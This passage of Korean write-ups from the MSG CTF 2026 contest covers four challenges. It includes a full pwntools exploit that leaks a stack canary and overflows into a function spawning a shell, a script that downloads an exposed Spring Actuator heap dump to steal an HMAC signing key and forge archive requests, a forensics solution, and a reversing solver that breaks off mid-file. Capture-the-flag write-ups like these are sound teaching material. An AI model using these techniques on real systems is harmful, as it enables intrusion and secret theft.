- Stack canary가 있으므로 반환 주소를 덮기 전에 canary 값을 알아내야 한다.
- PIE가 비활성화되어 있어 바이너리 내부 코드 주소는 실행할 때마다 동일하다.

프로그램 동작

프로그램에는 세 가지 메뉴가 있다.

코드 블록 (text)

```
1. Show info (register name)
2. Leave a message
3. Exit
```

1번 메뉴는 이름을 입력받은 뒤 사용자가 요청한 길이만큼 이름을 다시 출력한다. 2번 메뉴는 메시지를 입력받아 저장했다는 문구를 출력한다. 두 기능은 서로 다른 취약점을 가지고 있으며, 1번에서 정보를 유출한 뒤 2번에서 제어 흐름을 탈취하는 구조다.

취약점 분석

1번 메뉴의 stack canary 유출

1번 메뉴 함수는 0x401210에서 시작한다. 핵심 부분을 의사 코드로 옮기면 다음과 같다.

코드 블록 (c)

```
char name[32];
int length;

read(0, name, 32);
scanf("%d", &length);
write(1, name, length);
```

name에는 최대 32바이트만 읽으므로 이 입력 자체로는 overflow가 발생하지 않는다. 문제는 write에 전달하는 length를 검증하지 않는다는 점이다. 32보다 큰 값을 입력하면 name 뒤에 있는 스택 데이터까지 출력된다.

함수의 스택 배치는 다음과 같다.

코드 블록 (text)

```
name 기준 오프셋    내용
0x00 ~ 0x1f        name[32]
0x20 ~ 0x27        padding
```

```
0x28 ~ 0x2f        stack canary
0x30 ~ 0x37        saved RBP
0x38 ~ 0x3f        return address
```

따라서 이름으로 정확히 32바이트를 전송하고 출력 길이로 48을 지정하면 다음 데이터가 반환된다.

코드 블록 (text)

```
[이름 32바이트][padding 8바이트][canary 8바이트]
```

pwntools에서는 다음과 같이 canary를 추출할 수 있다.

코드 블록 (python)

```
io.sendlineafter(b"> ", b"1")
io.sendafter(b"Enter your name: ", b"A" * 32)
io.sendlineafter(
    b"How many bytes should I display back to you? ",
    b"48",
)

io.recvuntil(b"Hello, ")
stack_leak = io.recvn(48)
canary = u64(stack_leak[40:48])
```

이름은 sendlineafter가 아니라 sendafter로 전송했다. read(0, name, 32)에 정확히 32바이트만 전달해 다음 scanf 입력과의 경계를 명확하게 유지하기 위해서다.

2번 메뉴의 stack buffer overflow

2번 메뉴 함수는 0x401331에서 시작한다. 함수는 72바이트 크기의 스택 버퍼에 최대 300바이트를 읽는다.

코드 블록 (asm)

```
40136b: lea     rax, [rbp-0x50]
40136f: mov     edx, 0x12c
401374: mov     rsi, rax
401377: mov     edi, 0
40137c: call    read@plt
```

버퍼는 rbp-0x50, canary는 rbp-0x8에 있으므로 버퍼 시작부터 canary까지의 거리는 0x48, 즉 72바이트다.

코드 블록 (text)

```
버퍼 기준 오프셋   내용
0x00 ~ 0x47        message buffer 72바이트
0x48 ~ 0x4f        stack canary
0x50 ~ 0x57        saved RBP
0x58 ~ 0x5f        return address
```

1번 메뉴에서 얻은 canary를 원래 위치에 그대로 넣으면 stack smashing 검사를 통과하면서 반환 주소를 덮을 수 있다.

바이너리 내부의 win 함수

바이너리에는 메뉴에서 호출하지 않는 함수가 하나 존재한다.

코드 블록 (asm)

```
4011c6: push    rbp
4011c7: mov     rbp, rsp
4011ca: lea     rax, [rip+0xe37]  ; "/bin/sh"
4011d1: mov     rdi, rax
4011d4: call    system@plt
4011d9: nop
4011da: pop     rbp
4011db: ret
```

0x4011c6으로 복귀하면 system("/bin/sh")가 실행된다. PIE가 비활성화되어 있으므로 별도의 code base 유출 없이 이 주소를 그대로 사용할 수 있다.

익스플로잇 구성

최종 payload는 다음 구조다.

코드 블록 (text)

```
[B × 72]
[유출한 canary]
[saved RBP용 8바이트]
[ret gadget 0x401330]
[win 함수 0x4011c6]
```

win 함수 앞에는 ret 가젯을 하나 추가했다. overflow된 함수에서 곧바로 win 함수로 ret하면 함수 진입 시 rsp 정렬이 일반적인 호출 규약과 8바이트 어긋난다. ret 가젯으로 rsp를 8바이트 더 이동시킨 뒤 win 함수에 진입하면 system 호출 시 필요한 16바이트 스택 정렬을 만족한다.

코드 블록 (python)

```
payload = flat(
```

```
    b"B" * 72,
    canary,
    b"C" * 8,
    0x401330,  # ret
    0x4011C6,  # system("/bin/sh")
)
```

전체 익스플로잇

원격 서버는 443 포트에서 TLS를 사용하므로 pwntools의 remote에 ssl=True와 SNI를 지정했다.

코드 블록 (python)

```
#!/usr/bin/env python3
from pwn import *


exe = context.binary = ELF("./note", checksec=False)
context.arch = "amd64"

WIN = 0x4011C6
RET = 0x401330
DEFAULT_HOST = "ca8272e81fa649f57d5cf681daa1b85a.gate.msgctf.kr"
DEFAULT_PORT = 443


def start():
    if args.REMOTE:
        host = args.HOST or DEFAULT_HOST
        port = int(args.PORT or DEFAULT_PORT)
        if args.SSL or port == 443:
            return remote(host, port, ssl=True, sni=host)
        return remote(host, port)

    # 배포 파일에는 실행 비트가 없으므로 ELF interpreter로 실행한다.
    return process([exe.linker.decode(), exe.path])


io = start()

# 1. Out-of-bounds read로 canary 유출
io.sendlineafter(b"> ", b"1")
io.sendafter(b"Enter your name: ", b"A" * 32)
io.sendlineafter(
    b"How many bytes should I display back to you? ",
    b"48",
)
io.recvuntil(b"Hello, ")
stack_leak = io.recvn(48)
canary = u64(stack_leak[40:48])
log.success(f"stack canary: {canary:#x}")

# 2. Canary를 복원하고 win 함수로 복귀
io.sendlineafter(b"> ", b"2")
payload = flat(
    b"B" * 72,
    canary,
    b"C" * 8,
    RET,
    WIN,
)
io.sendafter(b"Leave a message: ", payload + b"₩n")

io.interactive()
```

원격 익스플로잇은 다음과 같이 실행한다.

코드 블록 (bash)

```
python3 solve.py REMOTE
```

실행 결과

익스플로잇 실행 후 생성된 셸에서 flag.txt를 읽으면 플래그를 얻을 수 있다.

코드 블록 (text)

```
$ cat flag.txt
msgctf2026{c4n4ry_l34k_4nd_byp4ss_m4st3r}
```

최종 플래그는 다음과 같다.

코드 블록 (text)

```
msgctf2026{c4n4ry_l34k_4nd_byp4ss_m4st3r}
```

익스플로잇 코드 / 분석 코드 전체

전체 파일: simple_note_solve.py · 54 lines · SHA-256 c960d5ff5792c4dd93f38257b61fdaae8f11b2cecd334007f8cc1d4cdce7a3dd

```
#!/usr/bin/env python3
```

```python
from pwn import *


exe = context.binary = ELF("./note", checksec=False)
context.arch = "amd64"

# The binary is stripped, so these two useful code addresses are named here.
WIN = 0x4011C6        # system("/bin/sh")
RET = 0x401330        # ret; fixes the stack alignment before entering WIN
DEFAULT_HOST = "ca8272e81fa649f57d5cf681daa1b85a.gate.msgctf.kr"
DEFAULT_PORT = 443


def start():
    if args.REMOTE:
        host = args.HOST or DEFAULT_HOST
        port = int(args.PORT or DEFAULT_PORT)
        if args.SSL or port == 443:
            return remote(host, port, ssl=True, sni=host)
        return remote(host, port)

    # The supplied file has no executable bit, so invoke its interpreter.
    return process([exe.linker.decode(), exe.path])


io = start()

# Menu 1 reads a 32-byte name, then trusts our display length.  The canary is
# 40 bytes from the beginning of the name buffer (32-byte buffer + 8 padding).
io.sendlineafter(b"> ", b"1")
io.sendafter(b"Enter your name: ", b"A" * 32)
io.sendlineafter(
    b"How many bytes should I display back to you? ",
    b"48",
)
io.recvuntil(b"Hello, ")
stack_leak = io.recvn(48)
canary = u64(stack_leak[40:48])
log.success(f"stack canary: {canary:#x}")

# Menu 2 reads 300 bytes into a 72-byte stack buffer.  Restore the leaked
# canary, overwrite the saved return address, align RSP, and jump to WIN.
io.sendlineafter(b"> ", b"2")
payload = flat(
    b"B" * 72,
    canary,
    b"C" * 8,
    RET,
    WIN,
)
io.sendafter(b"Leave a message: ", payload + b"₩n")

io.interactive()
```

재현 결과

canary 누출 후 ret2win으로 셸을 획득했다.
FLAG: msgctf2026{c4n4ry_l34k_4nd_byp4ss_m4st3r}

12. 오픈하우스

분야	Web
상태	완료

풀이 과정

MSG CTF 2026 Open House Web Writeup

개요

메인 페이지는 고객지원 티켓의 공개 이력을 조회하고, 특정 revision의 미리보기를 준비하는 기능을 제공한다. 보관본은 HMAC-SHA256으로 서명한 요청만 허용하지만, 새 모니터링 설정 때문에 Spring Boot Actuator의 heap dump가 외부에 노출되어 있다. 같은 세션에서 보관본 미리보기를 준비한 뒤 heap dump를 받으면 서명 키와 key ID를 추출할 수 있다.

1. 프런트엔드 API 확인

/app.js에는 다음 API 호출 순서가 노출되어 있다.

코드 블록 (text)

```
GET  /api/support/recent
GET  /api/support/tickets/1042/history
POST /api/support/tickets/1042/previews
```

GET /api/support/recent는 세션 쿠키와 작업 공간 ID를 발급한다.

코드 블록 (json)

```
{
  "ticket": {"id": 1042, "revision": 3},
  "workspace": "<workspace UUID>",
  "historyPath": "/api/support/tickets/1042/history"
}
```

이력을 조회하면 revision 2만 archive 가시성을 가진 것을 알 수 있다.

코드 블록 (json)

```
{
  "revision": 2,
  "title": "Escalation attachment",
  "visibility": "archive"
}
```

같은 세션에서 다음 요청을 보내 보관본 전달 준비 상태를 만든다.

코드 블록 (http)

```
POST /api/support/tickets/1042/previews
Content-Type: application/json

{"revision":2}
```

응답의 archivePath는 /api/archive/tickets/1042이다.

2. 서명 규약 확인

/archive-protocol.html에 따르면 보관본 요청에는 다음 네 헤더가 필요하다.

코드 블록 (text)

```
X-Archive-Workspace
X-Archive-Revision
X-Archive-Key-Id
X-Archive-Signature
```

서명할 정규화 문자열은 마지막 개행 없이 다음 다섯 줄로 구성한다.

코드 블록 (text)

```
GET
/api/archive/tickets/1042
{workspace}
2
{keyId}
```

키는 Base64 디코딩한 뒤 HMAC-SHA256에 사용해야 한다. 그러나 정상 공개 API는 키를 반환하지 않는다.

3. 노출된 heap dump

메인 스크립트가 호출하는 /management/health에서 Spring Boot Actuator 사용을 확인할 수 있다. 일반 관리 엔드포인트는 404이지만 다음 엔드포인트는 인증 없이 약 33MB의 HPROF 파일을 반환한다.

코드 블록 (http)

```
GET /management/heapdump
```

중요한 점은 heap dump를 받기 전에 같은 세션에서 revision 2의 미리보기를 준비하는 것이다. 그러면 세션의 작업 공간이 참조하는 TicketService$Dispatch 객체가 힙에 남는다. 이 객체의 diagnosticRecord에는 다음 형태의 JSON 문자열이 들어 있다.

코드 블록 (json)

```
{
  "kind": "archive-dispatch",
  "workspace": "<현재 workspace>",
  "ticket": 1042,
  "revision": 2,
  "keyId": "<key ID>",
  "algorithm": "HMAC-SHA256",
  "signingKey": "<Base64 key>"
}
```

Java의 compact string 데이터가 HPROF 안에 평문 바이트로 존재하므로 전체 객체 그래프를 복원하지 않아도 위 JSON 패턴을 정규식으로 찾을 수 있다. 여러 사용자의 레코드가 있을 수 있으므로 반드시 자신이 받은 workspace와 일치하는 레코드를 선택해야 한다.

4. HMAC 생성과 보관본 조회

Python에서 서명은 다음과 같이 계산한다.

코드 블록 (python)

```
canonical = "₩n".join((
    "GET",
    archive_path,
    workspace,
    str(revision),
    key_id,
)).encode()

signature = hmac.new(
    base64.b64decode(signing_key),
    canonical,
    hashlib.sha256,
).hexdigest()
```

처음 작업 공간을 만든 세션 쿠키를 유지한 채 네 헤더를 넣어 GET /api/archive/tickets/1042를 요청하면 내부 첨부 자료가 반환된다.

코드 블록 (text)

```
Open House — internal escalation attachment
Ticket: 1042
Revision: 2

Account Operations review completed.
msgctf2026{th3r3s_n0_pl4c3_l1k3_h0m3}
```

자동화

전체 과정은 다음 명령으로 재현할 수 있다.

코드 블록 (bash)

```
python3 web_solve.py
```

최종 플래그는 다음과 같다.

코드 블록 (text)

```
msgctf2026{th3r3s_n0_pl4c3_l1k3_h0m3}
```

익스플로잇 코드 / 분석 코드 전체

전체 파일: open_house_web_solve.py · 94 lines · SHA-256 fd9d0d290bcfaf7c4f4722d13730e68dc8fb02f8b483b5e484f89d6ed4ac892a

```
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import re
import sys

import requests
import urllib3


DEFAULT_URL = "https://a82e25ea63630581a5813b62f43a889e.gate.msgctf.kr"
```

```
def get_json(session, url, **kwargs):
    response = session.get(url, timeout=30, **kwargs)
    response.raise_for_status()
    return response.json()


def main():
    base_url = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL).rstrip("/")
    session = requests.Session()
    session.verify = False
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Create a workspace and learn the ticket API paths.
    recent = get_json(session, f"{base_url}/api/support/recent")
    workspace = recent["workspace"]
    history = get_json(session, f"{base_url}{recent['historyPath']}")

    archive_revision = next(
        item["revision"]
        for item in history["revisions"]
        if item["visibility"] == "archive"
    )

    # Preparing the archive preview creates a Dispatch object in this session.
    preview_response = session.post(
        f"{base_url}{history['previewPath']}",
        json={"revision": archive_revision},
        timeout=30,
    )
    preview_response.raise_for_status()
    preview = preview_response.json()
    archive_path = preview["archivePath"]

    # The exposed heap dump contains Dispatch.diagnosticRecord as plain bytes.
    heap_response = session.get(f"{base_url}/management/heapdump", timeout=120)
    heap_response.raise_for_status()
    heap = heap_response.content

    marker = (
        rb'₩{"kind":"archive-dispatch","workspace":"'
        + re.escape(workspace.encode())
        + rb'"[^}]*₩}'
    )
    match = re.search(marker, heap)
    if not match:
        raise RuntimeError("the current workspace's dispatch record was not found")

    dispatch = json.loads(match.group().decode())
    if dispatch["revision"] != archive_revision:
        raise RuntimeError("the leaked dispatch belongs to an unexpected revision")

    key_id = dispatch["keyId"]
    key = base64.b64decode(dispatch["signingKey"])
    canonical = "₩n".join(
        ("GET", archive_path, workspace, str(archive_revision), key_id)
    ).encode()
    signature = hmac.new(key, canonical, hashlib.sha256).hexdigest()

    archive_response = session.get(
        f"{base_url}{archive_path}",
        headers={
            "X-Archive-Workspace": workspace,
            "X-Archive-Revision": str(archive_revision),
            "X-Archive-Key-Id": key_id,
            "X-Archive-Signature": signature,
        },
        timeout=30,
    )
    archive_response.raise_for_status()

    print(f"[+] workspace: {workspace}")
    print(f"[+] archive revision: {archive_revision}")
    print(f"[+] key id: {key_id}")
    print(f"[+] signature: {signature}")
    print(archive_response.text)


if __name__ == "__main__":
    main()
```

재현 결과

서명된 archive 요청으로 숨겨진 첨부 파일을 열어 플래그를 획득했다.
FLAG: msgctf2026{th3r3s_n0_pl4c3_l1k3_h0m3}

13. The_Last_Record

분야	Forensics / Steganography
상태	완료

풀이 과정

1. 증거 이미지 확인과 무결성

제공 파일은 for/2/The_Last_Record_.E01이며 안내문에 기록된 SHA-256은 CB2DCFED37B8FBCB980A99999246485D54E83411D498FC0D09D7DBC5E7AD528E다. 파일시스템 시각은 풀이 요소가 아니고, 영상·문서 내용에 나타나는 날짜만 스토리상 기록이라는 안내도 확인했다. 플래그 형식은 다음과 같다.

코드 블록 (text)

```
msgctf2026{위치_단체명_주도자}
```

export_ewf.py로 E01을 read-only raw 이미지로 변환한 뒤 Sleuth Kit의 fls/icat으로 활성 파일과 삭제 파일을 열거했다.

코드 블록 (bash)

```
python3 export_ewf.py The_Last_Record_.E01 The_Last_Record_.raw
fls -r -p The_Last_Record_.raw > fls_all.txt
icat The_Last_Record_.raw <inode> > recovered.bin
```

2. 활성 파일과 휴지통 삭제 파일 복구

활성 파일에서 관찰기록.zip, 마지막.png를 확보했다. $RECYCLE.BIN에서는 $I 메타데이터와 대응하는 $R 본문 파일을 복구했다.

복구 파일	의미
$RPIBGE2.png	삭제된 입교 서약서 이미지
$RSACITM.pdf	삭제된 6쪽 내부 관찰 기록
관찰기록.zip	암호화된 영상과 메모
마지막.png	ZIP 암호를 숨긴 스테가노그래피 매체

ZIP 안의 메모.txt에는 입교 신청서와 폭로글이 삭제되었으며 비밀번호를 스테가노그래피로 남겼다고 적혀 있다. 마지막.png의 RGB 각 채널과 bit 0~7을 분리해 bit-plane sheet를 만들고 숨은 암호 단서를 판독한 뒤 ZIP을 해제했다.

3. 위치 식별

압축을 풀면 0405_들어오는길.mp4, 0603_북쪽건물.mp4, 새벽3시_입수본.mp4와 메모가 나온다. 영상을 프레임 단위로 추출해 비교했다.

코드 블록 (bash)

```
ffmpeg -i '0405_들어오는길.mp4' -vf fps=1 frames/0405_%04d.png
ffmpeg -i '0603_북쪽건물.mp4' -vf fps=1 frames/0603_%04d.png
```

0405_들어오는길.mp4의 입구 표지판에는 목포 아인마을이 적혀 있다. 플래그의 위치 필드는 도시명인 목포로 정리했다.

4. 단체명 식별

삭제된 $RPIBGE2.png는 입교 서약서 사진이며 문서 제목에 새벽구원공동체 입교 서약서가 명시되어 있다. 따라서 단체명 필드는 새벽구원공동체다.

5. 주도자 실명 식별

삭제된 $RSACITM.pdf는 새벽구원공동체 내부 관찰 기록 6쪽이다. 핵심 기록을 날짜별로 교차했다.

날짜	기록	의미
2026-07-02	생활인도자가 지도자를 실수로 "도현 씨"라고 부름	내부명 요한의 본명에 도현 포함
2026-07-17	공동체 창고 택배 상자의 수취인 이도현	전체 실명 확정
2026-08-26	"새벽구원공동체의 인도자 '요한'. 본명 이도현."	단체·내부명·실명 최종 교차검증

따라서 주도자는 내부명 요한, 본명 이도현이며 플래그에는 실명 이도현을 사용한다.

6. 결론

위치, 단체명, 주도자는 각각 목포, 새벽구원공동체, 이도현이다. 지정된 msgctf2026{위치_단체명_주도자} 형식으로 결합한 최종 플래그는 msgctf2026{목포_새벽구원공동체_이도현}이다.

익스플로잇 코드 / 분석 코드 전체

전체 파일: The_Last_Record_export_ewf.py · 81 lines · SHA-256 3a682390a2125b13cf1c4b11466b48d3acade8dd2d905babe9b29c3eeacecf89

```
#!/usr/bin/env python3
"""Minimal read-only EWF-to-raw exporter using the installed libewf."""

import ctypes
import os
import sys


def check(result, operation, lib, error):
    if result == -1:
        message = ctypes.create_string_buffer(4096)
        if error.value:
            lib.libewf_error_backtrace_sprint(error, message, len(message))
        raise RuntimeError(f"{operation}: {message.value.decode(errors='replace')}")
    return result


def main():
    if len(sys.argv) != 3:
        raise SystemExit(f"usage: {sys.argv[0]} INPUT.E01 OUTPUT.raw")

    source = os.fsencode(os.path.abspath(sys.argv[1]))
    destination = sys.argv[2]
    lib = ctypes.CDLL("libewf.so.2")
    handle = ctypes.c_void_p()
    error = ctypes.c_void_p()

    lib.libewf_handle_initialize.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_void_p)]
    lib.libewf_handle_initialize.restype = ctypes.c_int
    lib.libewf_handle_open.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_char_p), ctypes.c_int, ctypes.c_int,
 ctypes.POINTER(ctypes.c_void_p)]
    lib.libewf_handle_open.restype = ctypes.c_int
    lib.libewf_handle_get_media_size.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_uint64), ctypes.POINTER(
ctypes.c_void_p)]
    lib.libewf_handle_get_media_size.restype = ctypes.c_int
    lib.libewf_handle_read_buffer.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(
ctypes.c_void_p)]
    lib.libewf_handle_read_buffer.restype = ctypes.c_ssize_t
    lib.libewf_handle_close.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p)]
    lib.libewf_handle_close.restype = ctypes.c_int
    lib.libewf_handle_free.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_void_p)]
    lib.libewf_handle_free.restype = ctypes.c_int
    lib.libewf_error_backtrace_sprint.argtypes = [ctypes.c_void_p, ctypes.c_char_p, ctypes.c_size_t]
    lib.libewf_error_backtrace_sprint.restype = ctypes.c_int
    lib.libewf_error_free.argtypes = [ctypes.POINTER(ctypes.c_void_p)]

    try:
        check(lib.libewf_handle_initialize(ctypes.byref(handle), ctypes.byref(error)), "initialize", lib, error)
        filenames = (ctypes.c_char_p * 1)(source)
        check(lib.libewf_handle_open(handle, filenames, 1, 1, ctypes.byref(error)), "open", lib, error)
        media_size = ctypes.c_uint64()
        check(lib.libewf_handle_get_media_size(handle, ctypes.byref(media_size), ctypes.byref(error)), "media size",
 lib, error)
        print(f"Exporting {media_size.value} bytes to {destination}", flush=True)

        chunk_size = 4 * 1024 * 1024
        buffer = ctypes.create_string_buffer(chunk_size)
        written = 0
        with open(destination, "wb") as output:
            while written < media_size.value:
                wanted = min(chunk_size, media_size.value - written)
                count = check(lib.libewf_handle_read_buffer(handle, buffer, wanted, ctypes.byref(error)), "read",
lib, error)
                if count == 0:
                    break
                data = buffer.raw[:count]
                if not data.strip(b"₩0"):
                    output.seek(count, os.SEEK_CUR)
                else:
                    output.write(data)
                written += count
                if written % (256 * 1024 * 1024) == 0:
                    print(f"{written / (1024**3):.2f} GiB", flush=True)
            output.truncate(written)
        if written != media_size.value:
            raise RuntimeError(f"short export: {written} of {media_size.value} bytes")
    finally:
        if handle.value:
            lib.libewf_handle_close(handle, ctypes.byref(error))
            lib.libewf_handle_free(ctypes.byref(handle), ctypes.byref(error))
        if error.value:
            lib.libewf_error_free(ctypes.byref(error))
if __name__ == "__main__":
```

main()

재현 결과

영상 표지판, 삭제된 입교 서약서, 내부 관찰 기록을 교차해 위치·단체명·주도자를 각각 목포·새벽구원공동체·이도현으로 확정했다.

FLAG: msgctf2026{목포_새벽구원공동체_이도현}

14. ezpz

분야	REV
상태	완료

풀이 과정

풀이 과정

첨부 파일은 32바이트 상태를 Pod 1부터 Pod 10까지 전달하며, 각 Pod가 라운드 0부터 99까지 변환한다. 제공된 소스와 바이너리에서 각 변환을 복원했다. 최종 상태 target_state.hex에서 라운드와 Pod의 순서를 모두 거꾸로 적용해 초기 32바이트를 구했다. 얻은 초기 값을 다시 정방향으로 계산하니 목표 상태와 바이트 단위로 일치했다.

익스플로잇 코드 / 분석 코드 전체

Pod별 역변환과 순열 데이터까지 포함한 전체 풀이 코드다. 원본 바이너리와 소스는 문제에서 제공된 입력 자료이며, 아래 코드는 이를 분석해 작성한 풀이 코드다.

코드 블록 (text)

```
python solve_ezpz.py
```

solve_ezpz.py

코드 블록 (python)

```
"""Invert the 100-round, ten-pod ezpz state chain from target_state.hex."""

from __future__ import annotations

import re
from pathlib import Path

from invert_pods1_2 import forward_pod1, forward_pod2, inverse_pod1, inverse_pod2
from invert_pod3 import pod3_forward, pod3_inverse
from invert_pod4 import pod4_forward, pod4_inverse
from invert_pod5 import pod5_forward, pod5_inverse
from invert_pods6_9 import pod6_forward, pod9_forward, pack, unpack
from invert_pods7_8 import pod7_forward, pod8_forward
from invert_tail import POD10_PERMS, invert_tail

ROOT = Path(__file__).resolve().parent
TARGET = bytes.fromhex((ROOT / "target_state.hex").read_text().strip())

def pod10_forward(data: bytes, round_: int) -> bytes:
    words = unpack(data)
    return pack([words[index] for index in POD10_PERMS[round_]])

def solve() -> bytes:
    state = TARGET
    for round_ in range(99, -1, -1):
        state = invert_tail(state, round_)
        state = pod5_inverse(state, round_)
        state = pod4_inverse(state, round_)
        state = pod3_inverse(state, round_)
        state = inverse_pod2(state, round_)
        state = inverse_pod1(state, round_)
        if round_ in (99, 50, 0):
            print(f"역산 라운드 {round_:02d}: {state.hex()}")
    return state

def verify(initial: bytes) -> None:
    state = initial
    for round_ in range(100):
        state = forward_pod1(state, round_)
        state = forward_pod2(state, round_)
        state = pod3_forward(state, round_)
        state = pod4_forward(state, round_)
        state = pod5_forward(state, round_)
        state = pod6_forward(state, round_)
        state, _ = pod7_forward(state, round_)
        state = pod8_forward(state, round_)
        state = pod9_forward(state, round_)
        state = pod10_forward(state, round_)
    if state != TARGET:
        raise AssertionError(f"forward state {state.hex()} != target {TARGET.hex()}")
    print(f"정방향 최종 상태: {state.hex()} (target_state.hex와 일치)")

if __name__ == "__main__":
    candidate = solve()
    print(f"초기 32바이트: {candidate.hex()}")
    try:
        flag = candidate.decode("ascii")
    except UnicodeDecodeError:
        flag = None
```

```
    print(f"플래그 후보: {flag if flag is not None else '미확인'}")
    verify(candidate)
    if flag is None or not re.fullmatch(r"msgctf2026₩{[^}]*₩}", flag):
        raise AssertionError("initial state does not match the displayed flag format")
```

invert_pods1_2.py

코드 블록 (python)

```
"""pod1/pod2의 32바이트 상태 변환 및 역변환 (정적 디스어셈블 근거)."""

MASK64 = (1 << 64) - 1
POD1_PERM = bytes.fromhex(
    "11051d0b170313071f0d021a0e081500190f061c0c1604120a1e011b10140918"
)
POD2_SBOX = bytes.fromhex("0e040d01020f0b08030a060c05090007")

def _xorshift_words(seed: int, count: int) -> list[int]:
    words = []
    state = seed & MASK64
    for _ in range(count):
        state ^= (state << 13) & MASK64
        state ^= state >> 7
        state ^= (state << 17) & MASK64
        state &= MASK64
        words.append(state)
    return words

def _rotl8(value: int, bits: int) -> int:
    bits &= 7
    return ((value << bits) | (value >> (8 - bits))) & 0xff if bits else value

def _rotr8(value: int, bits: int) -> int:
    bits &= 7
    return ((value >> bits) | (value << (8 - bits))) & 0xff if bits else value

def forward_pod1(state: bytes, round_index: int) -> bytes:
    assert len(state) == 32 and 0 <= round_index < 100
    words = _xorshift_words(0x9E3778B97F4A7C15 ^ (round_index << 32), 4)
    pad = b"".join(word.to_bytes(8, "little") for word in words)
    rotated = bytes(
        (_rotl8(state[i] ^ pad[i], (i + round_index) & 7)
         if i % 2 == 0 else _rotr8(state[i] ^ pad[i], (i + round_index) & 7))
        for i in range(32)
    )
    out = bytearray(32)
    for i, target in enumerate(POD1_PERM):
        out[target] = rotated[i]
    return bytes(out)

def inverse_pod1(state: bytes, round_index: int) -> bytes:
    assert len(state) == 32 and 0 <= round_index < 100
    words = _xorshift_words(0x9E3778B97F4A7C15 ^ (round_index << 32), 4)
    pad = b"".join(word.to_bytes(8, "little") for word in words)
    unpermuted = bytes(state[target] for target in POD1_PERM)
    return bytes(
        (_rotr8(unpermuted[i], (i + round_index) & 7)
         if i % 2 == 0 else _rotl8(unpermuted[i], (i + round_index) & 7)) ^ pad[i]
        for i in range(32)
    )

def _pod2_f(value: int, key: int, j: int) -> int:
    rotated = value ^ key
    bits = 7 + 3 * j
    rotated = ((rotated << bits) | (rotated >> (64 - bits))) & MASK64
    substituted = sum(POD2_SBOX[(rotated >> (4 * i)) & 15] << (4 * i) for i in range(16))
    mixed = (substituted + (key >> (7 * j))) & MASK64
    return mixed ^ (mixed >> 13)

def forward_pod2(state: bytes, round_index: int) -> bytes:
    assert len(state) == 32 and 0 <= round_index < 100
    keys = _xorshift_words(0x9E377BB97F4A7C15 ^ (round_index << 32), 8)
    out = bytearray()
    for block in range(2):
        left = int.from_bytes(state[16 * block:16 * block + 8], "little")
        right = int.from_bytes(state[16 * block + 8:16 * block + 16], "little")
        for j in range(4):
            left, right = right, left ^ _pod2_f(right, keys[4 * block + j], j)
        out.extend(left.to_bytes(8, "little") + right.to_bytes(8, "little"))
    return bytes(out)

def inverse_pod2(state: bytes, round_index: int) -> bytes:
    assert len(state) == 32 and 0 <= round_index < 100
    keys = _xorshift_words(0x9E377BB97F4A7C15 ^ (round_index << 32), 8)
    out = bytearray()
    for block in range(2):
        left = int.from_bytes(state[16 * block:16 * block + 8], "little")
        right = int.from_bytes(state[16 * block + 8:16 * block + 16], "little")
        for j in range(3, -1, -1):
            left, right = right ^ _pod2_f(left, keys[4 * block + j], j), left
        out.extend(left.to_bytes(8, "little") + right.to_bytes(8, "little"))
    return bytes(out)

if __name__ == "__main__":
    import random

    rng = random.Random(0xE2E2)
    for round_index in (0, 1, 17, 99):
        for _ in range(4):
```

```
            original = rng.randbytes(32)
            assert inverse_pod1(forward_pod1(original, round_index), round_index) == original
            assert inverse_pod2(forward_pod2(original, round_index), round_index) == original
    print("pod1/pod2 왕복 검사 통과")
```

invert_pod3.py

코드 블록 (python)

```
"""pod3의 32바이트 상태 변환과 역변환 (ELF 정적 분석 근거)."""

def _make_sbox() -> bytes:
    table = list(range(256))
    x = 0x9E3779BA
    for i in range(255, -1, -1):
        x ^= (x << 13) & 0xFFFFFFFF
        x ^= x >> 17
        x ^= (x << 5) & 0xFFFFFFFF
        x &= 0xFFFFFFFF
        j = x % (i + 1)
        table[i], table[j] = table[j], table[i]
    return bytes(table)

SBOX = _make_sbox()
INV_SBOX = bytes(SBOX.index(i) for i in range(256))

def pod3_forward(data: bytes, round_: int) -> bytes:
    assert len(data) == 32 and 0 <= round_ < 100
    rotated = bytearray(32)
    for i, value in enumerate(data):
        rotated[(round_ + i) & 31] = SBOX[value]
    out = bytearray(32)
    for source_bit in range(256):
        if rotated[source_bit >> 3] & (1 << (source_bit & 7)):
            target_bit = (17 + 73 * source_bit) & 255
            out[target_bit >> 3] |= 1 << (target_bit & 7)
    return bytes(out)

def pod3_inverse(data: bytes, round_: int) -> bytes:
    assert len(data) == 32 and 0 <= round_ < 100
    rotated = bytearray(32)
    for source_bit in range(256):
        target_bit = (17 + 73 * source_bit) & 255
        if data[target_bit >> 3] & (1 << (target_bit & 7)):
            rotated[source_bit >> 3] |= 1 << (source_bit & 7)
    return bytes(INV_SBOX[rotated[(round_ + i) & 31]] for i in range(32))

if __name__ == "__main__":
    import random

    rng = random.Random(0xE3E3)
    for round_ in (0, 1, 17, 99):
        for _ in range(8):
            data = rng.randbytes(32)
            assert pod3_inverse(pod3_forward(data, round_), round_) == data
    print("pod3 왕복 검사 통과")
```

invert_pod4.py

코드 블록 (python)

```
"""Pod4 native Rust 32-byte state transform, recovered from VA 0x124d90."""

from __future__ import annotations

import struct

MASK = (1 << 64) - 1
BASE = 0x9E377DB97F4A7C15

def _step(value: int) -> int:
    value ^= (value << 13) & MASK
    value ^= value >> 7
    value ^= (value << 17) & MASK
    return value & MASK

def _rol(value: int, bits: int) -> int:
    return ((value << bits) | (value >> (64 - bits))) & MASK

def _ror(value: int, bits: int) -> int:
    return ((value >> bits) | (value << (64 - bits))) & MASK

def _parameters(round_: int) -> tuple[int, list[int]]:
    assert 0 <= round_ < 100
    first = BASE ^ (round_ << 32)
    key = _step(_step(first))
    second = BASE ^ (((round_ ^ 0xDEADBEEF) & 0xFFFFFFFF) << 32)
    second = _step(_step(second))
    masks = []
    for _ in range(4):
        masks.append(key ^ second)
        second = _step(second)
    return key, masks

